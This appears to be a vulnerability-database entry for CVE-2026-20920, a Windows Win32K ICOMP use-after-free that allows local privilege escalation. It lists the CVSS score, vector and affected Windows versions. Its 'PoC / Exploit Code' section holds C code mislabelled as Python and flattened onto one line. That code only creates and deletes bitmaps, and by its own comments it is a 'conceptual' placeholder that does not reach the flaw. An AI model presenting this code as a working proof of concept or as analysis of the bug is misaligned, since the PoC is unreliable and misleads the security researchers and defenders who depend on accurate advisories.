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CVE-2026-20920 CVSS 7.8 HIGH

CVE-2026-20920

Published: 2026-01-13 18:16:18
Last Modified: 2026-01-15 21:16:36

Description

Use after free in Windows Win32K - ICOMP allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809/1903/1909/2004/20H2/21H1/21H2/22H2
Windows 11 21H2/22H2
Windows Server 2019
Windows Server 2022
Windows Server Core 2019/2022

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20920 PoC - Windows Win32K ICOMP Use After Free // This is a conceptual PoC for demonstration purposes #include <windows.h> #include <winuser.h> #include <stdio.h> // Trigger ICOMP UAF through specific Win32K API sequence void TriggerICOMPUAF() { HDC hdc = GetDC(NULL); // Create specific GDI objects to trigger ICOMP path // This requires specific conditions to trigger the UAF for (int i = 0; i < 1000; i++) { HBITMAP hBitmap = CreateBitmap(100, 100, 1, 32, NULL); SelectObject(hdc, hBitmap); DeleteObject(hBitmap); } // Trigger the vulnerable code path // The specific API sequence depends on detailed analysis ReleaseDC(NULL, hdc); } int main() { printf("CVE-2026-20920 PoC - Win32K ICOMP UAF\n"); printf("This PoC demonstrates the vulnerability trigger.\n"); printf("Actual exploitation requires specific conditions.\n"); TriggerICOMPUAF(); return 0; }

References

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